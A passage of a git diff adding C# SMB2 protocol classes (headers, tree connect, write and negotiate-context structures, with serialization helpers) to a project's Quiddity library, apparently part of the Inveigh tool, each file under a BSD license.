+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+
+ enum ShareType : byte
+ {
+ SMB2_SHARE_TYPE_DISK = 0x01,
+ SMB2_SHARE_TYPE_PIPE = 0x02,
+ SMB2_SHARE_TYPE_PRINT = 0x03
+ }
+
+ enum ShareFlags : uint
+ {
+ SMB2_SHAREFLAG_MANUAL_CACHING = 0x00000000,
+ SMB2_SHAREFLAG_AUTO_CACHING = 0x00000010,
+ SMB2_SHAREFLAG_VDO_CACHING = 0x00000020,
+ SMB2_SHAREFLAG_NO_CACHING = 0x00000030,
+ SMB2_SHAREFLAG_DFS = 0x00000001,
+ SMB2_SHAREFLAG_DFS_ROOT = 0x00000002,
+ SMB2_SHAREFLAG_RESTRICT_EXCLUSIVE_OPENS = 0x00000100,
+ SMB2_SHAREFLAG_FORCE_SHARED_DELETE = 0x00000200,
+ SMB2_SHAREFLAG_ALLOW_NAMESPACE_CACHING = 0x00000400,
+ SMB2_SHAREFLAG_ACCESS_BASED_DIRECTORY_ENUM = 0x00000800,
+ SMB2_SHAREFLAG_FORCE_LEVELII_OPLOCK = 0x00001000,
+ SMB2_SHAREFLAG_ENABLE_HASH_V1 = 0x00002000,
+ SMB2_SHAREFLAG_ENABLE_HASH_V2 = 0x00004000,
+ SMB2_SHAREFLAG_ENCRYPT_DATA = 0x00008000,
+ SMB2_SHAREFLAG_IDENTITY_REMOTING = 0x00040000,
+ SMB2_SHAREFLAG_COMPRESS_DATA = 0x00100000
+ }
+
+ enum Capabilities : uint
+ {
+ SMB2_SHARE_CAP_DFS = 0x00000008,
+ SMB2_SHARE_CAP_CONTINUOUS_AVAILABILITY = 0x00000010,
+ SMB2_SHARE_CAP_SCALEOUT = 0x00000020,
+ SMB2_SHARE_CAP_CLUSTER = 0x00000040,
+ SMB2_SHARE_CAP_ASYMMETRIC = 0x00000080,
+ SMB2_SHARE_CAP_REDIRECT_TO_OWNER = 0x00000100
+ }
+
+
+ class SMB2TreeConnectResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/dd34e26c-a75e-47fa-aab2-6efc27502e96
+ public ushort StructureSize { get; set; }
+ public byte ShareType { get; set; }
+ public byte Reserved { get; set; }
+ public uint ShareFlags { get; set; }
+ public uint Capabilities { get; set; }
+ public uint MaximalAccess { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs
new file mode 100644
index 0000000..b14ff67
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs
@@ -0,0 +1,45 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2TreeDisconnectRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/8a622ecb-ffee-41b9-b4c4-83ff2d3aba1b
+ public ushort StructureSize { get; set; }
+ public byte[] Reserved { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs
new file mode 100644
index 0000000..40e2925
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs
@@ -0,0 +1,45 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2TreeDisconnectResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/aeac92de-8db3-48f8-a8b7-bfee28b9fd9e
+ public ushort StructureSize { get; set; }
+ public byte[] Reserved { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs
new file mode 100644
index 0000000..daf53e5
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs
@@ -0,0 +1,68 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ enum Channel : uint
+ {
+ SMB2_CHANNEL_NONE = 0x00000001,
+ SMB2_CHANNEL_RDMA_V1 = 0x0000002,
+ SMB2_CHANNEL_RDMA_V1_INVALIDATE = 0x00000003,
+ SMB2_CHANNEL_RDMA_TRANSFORM = 0x0000004
+ }
+
+ enum WriteRequestFlags : uint // Flags
+ {
+ SMB2_WRITEFLAG_WRITE_THROUGH = 0x00000001,
+ SMB2_WRITEFLAG_WRITE_UNBUFFERED = 0x0000002
+ }
+
+ class SMB2WriteRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8
+ public ushort StructureSize { get; set; }
+ public ushort DataOffset { get; set; }
+ public uint Length { get; set; }
+ public ulong Offset { get; set; }
+ public byte[] Field { get; set; }
+ public uint Channel { get; set; }
+ public uint RemainingBytes { get; set; }
+ public ushort WriteChannelInfoOffset { get; set; }
+ public ushort WriteChannelInfoLength { get; set; }
+ public uint Flags { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs
new file mode 100644
index 0000000..4266118
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs
@@ -0,0 +1,49 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2WriteResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/7b80a339-f4d3-4575-8ce2-70a06f24f133
+ public ushort StructureSize { get; set; }
+ public byte[] Reserved { get; set; }
+ public uint Count { get; set; }
+ public uint Remaining { get; set; }
+ public ushort WriteChannelInfoOffset { get; set; }
+ public ushort WriteChannelInfoLength { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Header.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Header.cs
new file mode 100644
index 0000000..65f595e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Header.cs
@@ -0,0 +1,133 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.IO;
+
+namespace Quiddity.SMB2
+{
+ class SMB2Header
+ {
+ /*
+ https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/fb188936-5050-48d3-b350-dc43059638a4
+ */
+ public byte[] Protocol { get; set; }
+ public ushort StructureSize { get; set; }
+ public ushort CreditCharge { get; set; }
+ public byte[] Status { get; set; } // SMB2.x requests and all responses
+ public ushort ChannelSequence { get; set; } // SMB3.x requests
+ public ushort Reserved { get; set; } // SMB3.x requests
+ public ushort Command { get; set; }
+ public ushort Credit { get; set; } // CreditRequest/CreditResponse
+ public byte[] Flags { get; set; }
+ public byte[] NextCommand { get; set; }
+ public ulong MessageId { get; set; }
+ public uint Reserved2 { get; set; } // Process ID?
+ public uint TreeId { get; set; }
+ public byte[] SessionId { get; set; }
+ public byte[] Signature { get; set; }
+
+ public SMB2Header()
+ {
+ this.Protocol = new byte[4] { 0xfe, 0x53, 0x4d, 0x42 };
+ this.StructureSize = 64;
+ this.CreditCharge = 0;
+ this.Status = new byte[4];
+ this.Command = 0;
+ this.Credit = 1;
+ this.Flags = new byte[4] { 0x01, 0x00, 0x00, 0x00 };
+ this.NextCommand = new byte[4];
+ this.MessageId = 0;
+ this.Reserved2 = 0;
+ this.TreeId = 0;
+ this.SessionId = new byte[8];
+ this.Signature = new byte[16];
+ }
+
+ public SMB2Header(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public SMB2Header(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Protocol = packetReader.ReadBytes(4);
+ this.StructureSize = packetReader.ReadUInt16();
+ this.CreditCharge = packetReader.ReadUInt16();
+ this.Status = packetReader.ReadBytes(4);
+ this.Command = packetReader.ReadUInt16();
+ this.Credit = packetReader.ReadUInt16();
+ this.Flags = packetReader.ReadBytes(4);
+ this.NextCommand = packetReader.ReadBytes(4);
+ this.MessageId = packetReader.ReadUInt64();
+ this.Reserved2 = packetReader.ReadUInt32();
+ this.TreeId = packetReader.ReadUInt32();
+ this.SessionId = packetReader.ReadBytes(8);
+ this.Signature = packetReader.ReadBytes(16);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Protocol);
+ packetWriter.Write(this.StructureSize);
+ packetWriter.Write(this.CreditCharge);
+ packetWriter.Write(this.Status);
+ packetWriter.Write(this.Command);
+ packetWriter.Write(this.Credit);
+ packetWriter.Write(this.Flags);
+ packetWriter.Write(this.NextCommand);
+ packetWriter.Write(this.MessageId);
+ packetWriter.Write(this.Reserved2);
+ packetWriter.Write(this.TreeId);
+ packetWriter.Write(this.SessionId);
+ packetWriter.Write(this.Signature);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Helper.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Helper.cs
new file mode 100644
index 0000000..8ef9628
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Helper.cs
@@ -0,0 +1,124 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Net.Sockets;
+using Quiddity.NetBIOS;
+using Quiddity.Support;
+
+namespace Quiddity.SMB2
+{
+ class SMB2Helper
+ {
+ public NetBIOSSessionService NetBIOS = new NetBIOSSessionService();
+ public SMB2Header Header = new SMB2Header();
+ public object Payload = new object();
+
+ public void Write(SMB2Helper Packet, NetworkStream Stream)
+ {
+ byte[] headerData = Packet.Header.GetBytes();
+ byte[] commandData = new byte[0];
+
+ switch (Packet.Header.Command)
+ {
+
+ case 0:
+ {
+ SMB2NegotiateResponse command = (SMB2NegotiateResponse)Packet.Payload;
+ commandData = command.GetBytes();
+ }
+ break;
+
+ case 1:
+ {
+ SMB2SessionSetupResponse command = (SMB2SessionSetupResponse)Packet.Payload;
+ commandData = command.GetBytes();
+ }
+ break;
+
+ }
+
+ Packet.NetBIOS.Length = (ushort)(commandData.Length + 64);
+ byte[] netbiosData = Packet.NetBIOS.GetBytes();
+ byte[] buffer = Utilities.BlockCopy(netbiosData, headerData, commandData);
+ Stream.Write(buffer, 0, buffer.Length);
+ Stream.Flush();
+ }
+
+ public static byte[] GetBytes(object smb2Command)
+ {
+ NetBIOSSessionService netBIOSSessionService = new NetBIOSSessionService();
+ SMB2Header smb2Header = new SMB2Header();
+ return GetBytes(netBIOSSessionService, smb2Header, smb2Command);
+ }
+
+ public static byte[] GetBytes(NetBIOSSessionService netBIOSSessionService, SMB2Header smb2Header, object smb2Command)
+ {
+ byte[] headerData = smb2Header.GetBytes();
+ byte[] commandData = new byte[0];
+
+ switch (smb2Header.Command)
+ {
+
+ case 0:
+ {
+ SMB2NegotiateResponse command = (SMB2NegotiateResponse)smb2Command;
+ commandData = command.GetBytes();
+ }
+ break;
+
+ case 1:
+ {
+ SMB2SessionSetupResponse command = (SMB2SessionSetupResponse)smb2Command;
+ commandData = command.GetBytes();
+ }
+ break;
+
+ }
+
+ netBIOSSessionService.Length = (ushort)(commandData.Length + 64);
+ byte[] netbiosData = netBIOSSessionService.GetBytes();
+ return Utilities.BlockCopy(netbiosData, headerData, commandData);
+ }
+
+ public void NegotiateProtocol()
+ {
+
+ }
+
+ public void SessionSetup()
+ {
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Packet.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Packet.cs
new file mode 100644
index 0000000..945d2f8
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Packet.cs
@@ -0,0 +1,42 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2Packet
+ {
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs
new file mode 100644
index 0000000..1b94aa6
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs
@@ -0,0 +1,108 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Linq;
+using System.IO;
+
+namespace Quiddity.SMB2
+{
+ class SMB2NegotiateContext
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
+ public ushort ContextType { get; set; }
+ public ushort DataLength { get; set; }
+ public uint Reserved { get; set; }
+ public byte[] Data { get; set; }
+
+ public SMB2NegotiateContext()
+ {
+ this.ContextType = 0;
+ this.DataLength = 0;
+ this.Reserved = 0;
+ this.Data = new byte[0];
+ }
+
+ public byte[] GetBytes(string[] contextTypes)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+
+ if (contextTypes.Contains("1"))
+ {
+ this.ContextType = 1;
+ this.DataLength = 38;
+ byte[] key = new byte[32];
+ Random random = new Random();
+ random.NextBytes(key);
+ this.Data = new byte[38];
+ Buffer.BlockCopy(new byte[6] { 0x01, 0x00, 0x20, 0x00, 0x01, 0x00 }, 0, this.Data, 0, 6);
+ Buffer.BlockCopy(key, 0, this.Data, 6, key.Length);
+ packetWriter.Write(this.ContextType);
+ packetWriter.Write(this.DataLength);
+ packetWriter.Write(this.Reserved);
+ packetWriter.Write(this.Data);
+ packetWriter.Write(new byte[2] { 0x000, 0x00 });
+ }
+
+ if (contextTypes.Contains("2"))
+ {
+ this.ContextType = 2;
+ this.DataLength = 4;
